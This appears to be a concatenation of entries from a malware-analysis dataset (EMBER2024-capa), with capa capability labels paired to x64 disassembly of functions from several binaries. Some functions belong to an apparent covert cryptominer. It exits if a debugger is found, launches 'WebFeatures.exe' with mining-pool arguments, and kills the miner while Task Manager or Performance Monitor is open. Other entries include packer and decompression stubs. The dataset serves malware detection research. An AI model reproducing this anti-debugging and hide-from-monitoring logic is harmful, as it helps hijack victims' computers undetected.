joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400069d0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], 0
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3c8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x140006a70
jmp 0x140006a5f
jae 0x140006b2f
cmp r8, 0x201
jae 0x140006a70
mov r14d, 0x200
lea r15, [rbp - 0x58]
mov r12, r8
jmp 0x140006ac7
sub r8, rbx
sub rdi, rbx
cmp r8, rdi
jbe 0x140006a9f
lea rcx, [rbp + 0x3d8]
mov rdx, rbx
call fcn.14001c110
mov rsi, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3c8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e8], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x140006af0
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140006b9b
mov r8d, r13d
cmp r12, r8
jne 0x140006a50
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140006bcf
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x140006a5f
jmp 0x140006a70
cmp r14, r8
jb 0x140006be9
lea rcx, [rbp + 0x3a8]
mov rdx, r15
call fcn.140008ea0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3d0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
je 0x140006b84
mov rcx, qword [rbp + 0x3e0]
add rdx, rdx
mov r8d, 2
call fcn.140001e00
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3d0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
jne 0x140006b6f
jmp 0x140006b84
lea rcx, str.internal_error:_entered_unreachable_code_rustc_28a58f2fa7f0c46b8fab8237c02471a915924fe5library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.14001d7c0
jmp 0x140006bfe
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.14001db70
ud2
Function at 0x14000d120
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rax, qword [rbp + 0x70]
mov qword [rbp - 8], r9
lea rcx, [rbp]
mov qword [rbp], rax
movups xmm0, xmmword [0x1400398f8]
movaps xmmword [rbp + 0x10], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
xor r8d, r8d
test r9b, 1
cmove rcx, r8
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000d1b6
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rbp + 0x10]
cmp eax, 0x103
je 0x14000d1e3
test eax, eax
js 0x14000d1c2
mov rdx, qword [rbp + 0x18]
xor eax, eax
jmp 0x14000d1d9
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xb8
pop rsi
pop rbp
ret
mov dword [rbp + 0x28], 0
mov byte [rbp + 0x2c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x30]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x28]
lea rdx, [rbp - 0x38]
call fcn.140008a30
mov qword [rbp + 8], rax
lea rcx, [rbp + 8]
call fcn.1400051b0
mov ecx, 7
int 0x29
ud2
Function at 0x14001b6f4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001b73e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001b73e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001b73e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001b73e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001b73e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001b740
xor al, al
add rsp, 0x28
ret

Function at 0x14068e750
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14068e75d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14068e76d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14068e755
lea eax, [rcx + 1]
jmp 0x14068e77b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14068e78e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14068e774
sub eax, 3
jb 0x14068e7ae
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14068e7fd
sar eax, 1
movsxd rbp, eax
jb 0x14068e7e4
jmp 0x14068e7bc
add ebx, ebx
jne 0x14068e7ba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14068e7e4
inc ecx
add ebx, ebx
jne 0x14068e7ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14068e7e4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14068e7dd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14068e7cc
add ecx, 2
jmp 0x14068e7e9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14068e712
jmp 0x14068e75d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x688000]
mov eax, dword [rdi]
or eax, eax
je 0x14068e85d
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x68e000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14068e80d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14068e857
mov qword [rbx], rax
add rbx, 8
jmp 0x14068e82d
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14068e8a1
cmp al, 0xef
ja 0x14068e889
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14068e869
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x14068e878
mov eax, dword [rdi]
add rdi, 4
jmp 0x14068e878
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14068e920], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14068e920
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14068e910
sub rsp, 0xffffffffffffff80
jmp 0x1400014f0
Function at 0x180d85058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.180d851df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180d85089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180d8506f
add dl, dl
jne 0x180d85096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180d850f6
xor eax, eax
add dl, dl
jne 0x180d850a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180d851ad
add dl, dl
jne 0x180d850b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180d850c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180d850d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180d850dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x180d850ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x180d8507e
mov eax, 1
add dl, dl
jne 0x180d85106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180d85113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180d850fb
sub eax, ebx
mov ebx, 1
jne 0x180d8514c
mov ecx, 1
add dl, dl
jne 0x180d8512e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180d8513b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180d85123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180d8507e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180d85168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180d85175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180d8515d
cmp eax, 0x7d00
jae 0x180d8519b
cmp eax, 0x500
jb 0x180d85196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180d8507e
cmp eax, 0x7f
ja 0x180d8519e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180d8507e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180d851d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x180d8507e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400014d9
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3e8], rdx
mov qword [rbp + 0x3f0], r8
lea rax, [rbp - 0x50]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
test eax, eax
je 0x14000153a
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0xc0]
lea r8, str.WebFeatures.exe
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathCombineA]
call rax
test rax, rax
jne 0x140001566
lea rax, [rbp + 0xc0]
mov r9d, 0
mov r8, rax
mov edx, 0x104
lea rax, str.WebFeatures.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
call rax
test eax, eax
je 0x1400015e2
mov rcx, qword [rbp + 0x3e0]
lea rax, [rbp + 0x1d0]
mov rdx, qword [rbp + 0x3f0]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x3e8]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._o__s___pass__s___rig_id__s___tls__b
mov edx, 0x200
mov rcx, rax
call fcn.140002ad0
lea rdx, [rbp + 0x1d0]
lea rax, [rbp + 0xc0]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
jmp 0x1400015e3
nop
add rsp, 0x450
pop rbp
ret

Function at 0x1400015ec
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x100], rcx
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x26
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x60], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x140001649
mov eax, 0
jmp 0x1400016cb
mov byte [rbp + 0xdf], 0
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd0]
mov rdx, rax
call sub.KERNEL32.dll_Process32First
mov dword [rbp + 0xd8], eax
jmp 0x1400016a8
mov rdx, qword [rbp + 0x100]
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x14000168f
mov byte [rbp + 0xdf], 1
jmp 0x1400016b1
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd0]
mov rdx, rax
call sub.KERNEL32.dll_Process32Next
mov dword [rbp + 0xd8], eax
cmp dword [rbp + 0xd8], 0
jne 0x14000166b
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
movzx eax, byte [rbp + 0xdf]
add rsp, 0x168
pop rdi
pop rbp
ret
Function at 0x14000175f
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x80]
call fcn.140001aa0
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
je 0x140001790
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
movzx eax, byte [0x140003018]
movzx eax, al
mov r8d, eax
mov edx, 0x18
lea rax, str.sewcrt
mov rcx, rax
call fcn.140001450
mov qword [rbp + 0x140], rax
cmp qword [rbp + 0x140], 0
jne 0x1400017d0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, [rbp + 0xd0]
mov edx, 0x25
mov rcx, rax
call fcn.1400016d5
lea rax, [rbp + 0x100]
mov edx, 0x25
mov rcx, rax
call fcn.1400016d5
lea rdx, [rbp + 0xd0]
lea rax, [rbp + 0x100]
mov rcx, qword [rbp + 0x140]
mov r8, rdx
mov rdx, rax
call fcn.1400014d9
mov byte [rbp + 0x14f], 1
lea rax, str.Taskmgr.exe
mov rcx, rax
call fcn.1400015ec
test al, al
jne 0x140001849
lea rax, str.perfmon.exe
mov rcx, rax
call fcn.1400015ec
test al, al
je 0x140001965
cmp byte [rbp + 0x14f], 0
je 0x1400019b0
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x26
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x60], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x138], rax
cmp qword [rbp + 0x138], 0xffffffffffffffff
je 0x1400019b0
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x138]
mov rdx, rax
call sub.KERNEL32.dll_Process32First
mov dword [rbp + 0x148], eax
jmp 0x14000193c
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str.WebFeatures.exe
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001923
mov eax, dword [rbp - 0x58]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x130], rax
cmp qword [rbp + 0x130], 0
je 0x140001923
mov rax, qword [rbp + 0x130]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0x130]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x138]
mov rdx, rax
call sub.KERNEL32.dll_Process32Next
mov dword [rbp + 0x148], eax
cmp dword [rbp + 0x148], 0
jne 0x1400018b3
mov rax, qword [rbp + 0x138]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov byte [rbp + 0x14f], 0
jmp 0x1400019b0
movzx eax, byte [rbp + 0x14f]
xor eax, 1
test al, al
je 0x1400019b1
lea rax, [rbp + 0x100]
mov edx, 0x25
mov rcx, rax
call fcn.1400016d5
lea rdx, [rbp + 0xd0]
lea rax, [rbp + 0x100]
mov rcx, qword [rbp + 0x140]
mov r8, rdx
mov rdx, rax
call fcn.1400014d9
mov byte [rbp + 0x14f], 1
jmp 0x1400019b1
nop
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x14000181f
Function at 0x417660
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x417806
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00433b80
xorps xmm15, xmm15
mov r14, qword [0x008dc4c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x4176cb
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x4176e0
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
nop
test rbx, rbx
jbe 0x417705
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x417719
cmp rbx, 0x1000
jae 0x4176d5
nop dword [rax]
jmp 0x417789
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x41772d
xor edx, edx
jmp 0x417780
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00433b80
xorps xmm15, xmm15
mov r14, qword [0x008dc4c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop dword [rax]
test dl, dl
jne 0x41770f
jmp 0x4176f4
call fcn.004664e0
xorps xmm15, xmm15
mov r14, qword [0x008dc4c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.004382c0
lea rax, [0x0069ae01]
mov ebx, 0x18
call fcn.00438bc0
mov rax, qword [rsp + 0x38]
call fcn.004388c0
lea rax, [0x0069af39]
mov ebx, 0x19
call fcn.00438bc0
mov rax, qword [rsp + 0x30]
nop
call fcn.004388c0
call fcn.00438520
call fcn.00438340
lea rax, [0x0069eed3]
mov ebx, 0x21
nop dword [rax + rax]
call fcn.00436980
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00462920
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.00417660
Function at 0x417840
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x417a6a
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00433c00
xorps xmm15, xmm15
mov r14, qword [0x008dc4c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x4178b9
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x4178cc
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x4178f0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
nop
jmp 0x417904
cmp rbx, 0x1000
jae 0x4178c3
jmp 0x417985
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x417916
xor esi, esi
jmp 0x417976
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax]
call fcn.00433c00
xorps xmm15, xmm15
mov r14, qword [0x008dc4c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x4178fa
nop
jmp 0x4178e2
call fcn.004664e0
xorps xmm15, xmm15
mov r14, qword [0x008dc4c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x417a05
call fcn.004382c0
lea rax, [0x0069b547]
mov ebx, 0x19
call fcn.00438bc0
mov rax, qword [rsp + 0x68]
call fcn.004388c0
lea rax, [0x0069af39]
mov ebx, 0x19
call fcn.00438bc0
mov eax, dword [rsp + 0x34]
nop dword [rax]
call fcn.004388c0
call fcn.00438520
call fcn.00438340
lea rax, [0x006964fa]
mov ebx, 0xd
nop dword [rax + rax]
call fcn.00436980
cmp eax, 0x5af
je 0x4179a8
call fcn.004382c0
lea rax, [0x0069b547]
mov ebx, 0x19
nop dword [rax]
call fcn.00438bc0
mov rax, qword [rsp + 0x38]
call fcn.004388c0
lea rax, [0x0069af39]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00438bc0
mov eax, dword [rsp + 0x34]
call fcn.004388c0
call fcn.00438520
call fcn.00438340
lea rax, [0x0069e07c]
mov ebx, 0x1f
call fcn.00436980
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00462920
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00417840
Function at 0x41fd20
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x008dc2a2], 0
jne 0x41fe0f
mov rdx, qword [rax + 0x50]
test byte [rdx], al
nop
nop
nop
sub rbx, qword [rax + 0x18]
mov esi, dword [rax + 0x5c]
imul rbx, rsi
mov rsi, rbx
shr rbx, 0x20
shr rsi, 0x23
and ebx, 7
mov rdi, rcx
mov rcx, rbx
mov r8d, 1
shl r8d, cl
add rdx, rsi
lock or byte [rdx], r8b
nop
nop
mov rcx, qword [rax + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x41fe05
lea rbx, [0x008ae6d0]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and edx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx ebx, byte [rdx + rcx + 0x11440]
lea rsi, [rcx + 0x11440]
add rdx, rsi
shr rax, 0xd
and eax, 7
mov rcx, rax
mov eax, 1
shl eax, cl
nop
test al, bl
jne 0x41fde7
lock or byte [rdx], al
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1248], rdi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov ecx, 0x40
call fcn.00464fa0
lea rax, [0x006a2b7e]
mov ebx, 0x2c
nop dword [rax + rax]
call fcn.00436980
nop
int3

Function at 0x422200
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4222fe
sub rsp, 0x48
mov qword [rsp + 0x40], rbp
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 8], 0
jmp 0x422240
mov rax, qword [rsp + 0x50]
mov rcx, rdx
mov rbx, qword [rsp + 0x58]
nop
cmp qword [rsp + 8], rbx
jae 0x4222ef
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov rax, rcx
call fcn.00422da0
nop dword [rax]
test rax, rax
je 0x4222ef
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
lea rcx, [0x00422340]
mov qword [rsp + 0x10], rcx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rbx, [rsp + 0x10]
mov qword [rsp], rbx
call fcn.004627e0
xorps xmm15, xmm15
mov r14, qword [0x008dc4c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
jne 0x4222dd
xor eax, eax
jmp 0x4222e7
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x60]
test al, al
je 0x422232
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x40]
add rsp, 0x48
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.00462920
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.00422200